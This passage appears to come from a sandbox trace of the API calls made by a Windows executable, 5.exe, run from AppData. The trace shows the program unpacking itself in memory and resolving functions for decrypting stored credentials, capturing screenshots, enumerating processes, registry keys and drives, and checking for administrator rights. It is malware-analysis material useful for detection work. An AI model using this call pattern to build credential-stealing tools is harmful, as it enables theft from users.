(lpTopLevelExceptionFilter=0x43304e) returned 0x0 [0055.820] RtlSizeHeap (HeapHandle=0x1f10000, Flags=0x0, MemoryPointer=0x1f111f8) returned 0x80 [0055.820] GetLastError () returned 0x0 [0055.820] SetLastError (dwErrCode=0x0) [0055.820] GetLastError () returned 0x0 [0055.820] SetLastError (dwErrCode=0x0) [0055.820] GetLastError () returned 0x0 [0055.820] SetLastError (dwErrCode=0x0) [0055.820] GetLastError () returned 0x0 [0055.820] SetLastError (dwErrCode=0x0) [0055.820] GetLastError () returned 0x0 [0055.820] SetLastError (dwErrCode=0x0) [0055.820] GetLastError () returned 0x0 [0055.820] SetLastError (dwErrCode=0x0) [0055.820] GetLastError () returned 0x0 [0055.820] SetLastError (dwErrCode=0x0) [0055.820] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.824] SetLastError (dwErrCode=0x0) [0055.824] GetLastError () returned 0x0 [0055.824] SetLastError (dwErrCode=0x0) [0055.824] GetLastError () returned 0x0 [0055.824] SetLastError (dwErrCode=0x0) [0055.824] GetLastError () returned 0x0 [0055.961] SetLastError (dwErrCode=0x0) [0056.005] GetLastError () returned 0x0 [0056.005] SetLastError (dwErrCode=0x0) [0056.005] GetLastError () returned 0x0 [0056.005] SetLastError (dwErrCode=0x0) [0056.005] GetLastError () returned 0x0 [0056.006] SetLastError (dwErrCode=0x0) [0056.006] GetLastError () returned 0x0 [0056.006] SetLastError (dwErrCode=0x0) [0056.006] GetLastError () returned 0x0 [0056.006] SetLastError (dwErrCode=0x0) [0056.006] GetLastError () returned 0x0 [0056.009] SetLastError (dwErrCode=0x0) [0056.014] GetLastError () returned 0x0 [0056.014] SetLastError (dwErrCode=0x0) [0056.014] GetLastError () returned 0x0 [0056.014] SetLastError (dwErrCode=0x0) [0056.014] GetLastError () returned 0x0 [0056.015] SetLastError (dwErrCode=0x0) [0056.015] GetLastError () returned 0x0 [0056.016] SetLastError (dwErrCode=0x0) [0056.016] GetLastError () returned 0x0 [0056.016] SetLastError (dwErrCode=0x0) [0056.016] GetLastError () returned 0x0 [0056.017] SetLastError (dwErrCode=0x0) [0056.017] GetLastError () returned 0x0 [0056.017] SetLastError (dwErrCode=0x0) [0056.017] GetLastError () returned 0x0 [0056.017] SetLastError (dwErrCode=0x0) [0056.017] GetLastError () returned 0x0 [0056.017] SetLastError (dwErrCode=0x0) [0056.017] GetLastError () returned 0x0 [0056.017] SetLastError (dwErrCode=0x0) [0056.017] GetLastError () returned 0x0 [0056.017] SetLastError (dwErrCode=0x0) [0056.018] GetLastError () returned 0x0 [0056.018] SetLastError (dwErrCode=0x0) [0056.018] GetLastError () returned 0x0 [0056.019] SetLastError (dwErrCode=0x0) [0056.019] GetLastError () returned 0x0 [0056.134] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.135] VirtualProtect (in: lpAddress=0x62dc70, dwSize=0x14ad8, flNewProtect=0x40, lpflOldProtect=0x18e950 | out: lpflOldProtect=0x18e950*=0x4) returned 1 [0056.145] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0056.145] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.145] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0056.145] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0056.145] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0056.145] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0056.145] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0056.145] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0056.145] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0056.145] SetErrorMode (uMode=0x400) returned 0x0 [0056.145] SetErrorMode (uMode=0x0) returned 0x400 [0056.145] GetVersionExA (in: lpVersionInformation=0x18d8ac*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18d8ac*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.145] VirtualAlloc (lpAddress=0x0, dwSize=0x1c000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0056.147] VirtualProtect (in: lpAddress=0x400000, dwSize=0x20000, flNewProtect=0x40, lpflOldProtect=0x18e934 | out: lpflOldProtect=0x18e934*=0x2) returned 1 [0056.151] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.151] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.151] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0056.151] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0056.151] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0056.151] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSection") returned 0x77162c42 [0056.160] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0056.160] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0056.160] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0056.160] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0056.160] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0056.160] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0056.160] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0056.160] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0056.160] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0056.160] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0056.160] GetProcAddress (hModule=0x76c20000, lpProcName="GetThreadLocale") returned 0x76c335cf [0056.161] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoA") returned 0x76c30e00 [0056.161] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0056.161] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoA") returned 0x76c4d5e5 [0056.161] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0056.161] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0056.161] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0056.161] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0056.161] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0056.161] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0056.161] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0056.161] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0056.161] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0056.161] GetProcAddress (hModule=0x74f40000, lpProcName="GetKeyboardType") returned 0x74f99ac4 [0056.161] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxA") returned 0x74fafd1e [0056.161] GetProcAddress (hModule=0x74f40000, lpProcName="CharNextA") returned 0x74f57a1b [0056.161] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0056.162] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExA") returned 0x74d548ef [0056.162] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExA") returned 0x74d54907 [0056.162] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0056.162] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75220000 [0056.166] GetProcAddress (hModule=0x75220000, lpProcName="SysFreeString") returned 0x75223e59 [0056.166] GetProcAddress (hModule=0x75220000, lpProcName="SysReAllocStringLen") returned 0x75227810 [0056.166] GetProcAddress (hModule=0x75220000, lpProcName="SysAllocStringLen") returned 0x752245d2 [0056.166] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.167] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleA") returned 0x76c31245 [0056.167] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0056.167] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExA") returned 0x74d54907 [0056.167] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumKeyA") returned 0x74d6a299 [0056.167] GetProcAddress (hModule=0x74d40000, lpProcName="FreeSid") returned 0x74d5412e [0056.167] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.167] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0056.167] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0056.167] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0056.167] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0056.167] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0056.167] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalUnlock") returned 0x76c4cfdf [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalLock") returned 0x76c4d0a7 [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemInfo") returned 0x76c349ca [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleA") returned 0x76c31245 [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0056.168] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0056.169] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0056.169] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ad0000 [0056.169] GetProcAddress (hModule=0x75ad0000, lpProcName="SelectObject") returned 0x75ae4f70 [0056.169] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteObject") returned 0x75ae5689 [0056.169] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteDC") returned 0x75ae58b3 [0056.169] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateCompatibleDC") returned 0x75ae54f4 [0056.169] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateCompatibleBitmap") returned 0x75ae5f49 [0056.169] GetProcAddress (hModule=0x75ad0000, lpProcName="BitBlt") returned 0x75ae5ea6 [0056.169] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0056.169] GetProcAddress (hModule=0x74f40000, lpProcName="ReleaseDC") returned 0x74f57446 [0056.169] GetProcAddress (hModule=0x74f40000, lpProcName="GetSystemMetrics") returned 0x74f57d2f [0056.169] GetProcAddress (hModule=0x74f40000, lpProcName="GetDC") returned 0x74f572c4 [0056.169] GetProcAddress (hModule=0x74f40000, lpProcName="CharToOemBuffA") returned 0x74f6b1b0 [0056.169] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0056.169] GetProcAddress (hModule=0x755e0000, lpProcName="OleInitialize") returned 0x755fefd7 [0056.170] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0056.170] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0056.172] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0056.172] atexit (param_1=0x630794) returned 0 [0056.173] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0056.173] GetKeyboardType (nTypeFlag=0) returned 4 [0056.173] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\5.exe\" " [0056.173] GetStartupInfoA (in: lpStartupInfo=0x18e8c8 | out: lpStartupInfo=0x18e8c8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\5.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0056.173] GetVersion () returned 0x1db10106 [0056.173] GetVersion () returned 0x1db10106 [0056.173] GetCurrentThreadId () returned 0xb4c [0056.173] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x759b0000 [0056.176] GetProcAddress (hModule=0x759b0000, lpProcName="CryptUnprotectData") returned 0x759e5a7f [0056.176] LoadLibraryA (lpLibFileName="crtdll.dll") returned 0x6c240000 [0056.423] GetProcAddress (hModule=0x6c240000, lpProcName="wcscmp") returned 0x6c25032a [0056.423] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73d90000 [0056.983] GetProcAddress (hModule=0x73d90000, lpProcName="GdiplusStartup") returned 0x73db5600 [0056.983] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73d90000 [0056.983] GetProcAddress (hModule=0x73d90000, lpProcName="GdiplusShutdown") returned 0x73db56be [0056.983] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73d90000 [0056.984] GetProcAddress (hModule=0x73d90000, lpProcName="GdipCreateBitmapFromHBITMAP") returned 0x73dc6671 [0056.984] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73d90000 [0056.984] GetProcAddress (hModule=0x73d90000, lpProcName="GdipGetImageEncodersSize") returned 0x73dd2203 [0056.984] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73d90000 [0056.984] GetProcAddress (hModule=0x73d90000, lpProcName="GdipGetImageEncoders") returned 0x73dd228c [0056.984] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73d90000 [0056.984] GetProcAddress (hModule=0x73d90000, lpProcName="GdipDisposeImage") returned 0x73dc4cc8 [0056.984] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73d90000 [0056.984] GetProcAddress (hModule=0x73d90000, lpProcName="GdipSaveImageToStream") returned 0x73dc4153 [0056.984] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0056.984] GetProcAddress (hModule=0x755e0000, lpProcName="CreateStreamOnHGlobal") returned 0x7560363b [0056.984] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0056.984] GetProcAddress (hModule=0x755e0000, lpProcName="GetHGlobalFromStream") returned 0x756041d5 [0056.984] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.985] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173 [0056.985] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0056.985] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalMemoryStatus") returned 0x76c38b6d [0056.985] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0056.985] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSize") returned 0x76c3196e [0056.985] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0056.985] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0056.985] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0056.985] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0056.985] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e [0056.985] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0056.985] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentDirectoryW") returned 0x76c35611 [0056.985] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableW") returned 0x76c389f1 [0056.986] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableW") returned 0x76c31b48 [0056.986] GetProcAddress (hModule=0x76c20000, lpProcName="SetCurrentDirectoryW") returned 0x76c41260 [0056.986] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0056.986] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0056.986] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0056.986] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0056.986] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0056.986] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0056.986] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalMemoryStatusEx") returned 0x76c5d4c4 [0056.986] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0056.986] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0056.986] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0056.986] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0056.986] GetProcAddress (hModule=0x76c20000, lpProcName="SetDllDirectoryW") returned 0x76cb004f [0056.987] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoA") returned 0x76c4d5e5 [0056.987] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocalTime") returned 0x76c35aa6 [0056.987] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0056.987] GetProcAddress (hModule=0x76c20000, lpProcName="RemoveDirectoryW") returned 0x76cb44cf [0056.987] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0056.987] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDriveStringsA") returned 0x76c3e4dc [0056.987] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0056.987] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0056.987] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0056.987] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0056.987] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0056.987] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0056.987] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0056.987] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0056.988] GetProcAddress (hModule=0x74d40000, lpProcName="AllocateAndInitializeSid") returned 0x74d540e6 [0056.988] GetProcAddress (hModule=0x74d40000, lpProcName="LookupAccountSidA") returned 0x74d81daa [0056.988] GetProcAddress (hModule=0x74d40000, lpProcName="CreateProcessAsUserW") returned 0x74d4c592 [0056.988] GetProcAddress (hModule=0x74d40000, lpProcName="CheckTokenMembership") returned 0x74d4df04 [0056.988] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyW") returned 0x74d52459 [0056.988] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumKeyW") returned 0x74d5445b [0056.988] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumValueW") returned 0x74d548cc [0056.988] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextA") returned 0x74d491dd [0056.988] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0056.988] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0056.988] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0056.988] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0056.988] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0056.988] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0056.988] GetProcAddress (hModule=0x74f40000, lpProcName="EnumDisplayDevicesW") returned 0x74f7e567 [0056.989] GetProcAddress (hModule=0x74f40000, lpProcName="wvsprintfA") returned 0x74f6aad3 [0056.989] GetProcAddress (hModule=0x74f40000, lpProcName="GetKeyboardLayoutList") returned 0x74f62e69 [0056.989] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75fd0000 [0056.992] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0056.993] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000 [0056.993] GetProcAddress (hModule=0x77130000, lpProcName="RtlComputeCrc32") returned 0x771effc1 [0056.993] LocalAlloc (uFlags=0x0, uBytes=0xff8) returned 0x655e20 [0056.993] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x2320000 [0056.993] LocalAlloc (uFlags=0x0, uBytes=0x644) returned 0x656e20 [0056.993] VirtualAlloc (lpAddress=0x2320000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2320000 [0056.994] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e685, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x222, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e680 | out: pSid=0x18e680*=0x654300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0056.994] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x654300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18e67c | out: IsMember=0x18e67c) returned 1 [0056.994] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e685, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x221, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e680 | out: pSid=0x18e680*=0x654300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0056.994] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x654300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18e67c | out: IsMember=0x18e67c) returned 1 [0056.994] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e685, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e680 | out: pSid=0x18e680*=0x654300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0056.994] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x654300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18e67c | out: IsMember=0x18e67c) returned 1 [0056.994] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e682, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e674 | out: pSid=0x18e674*=0x654300*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, 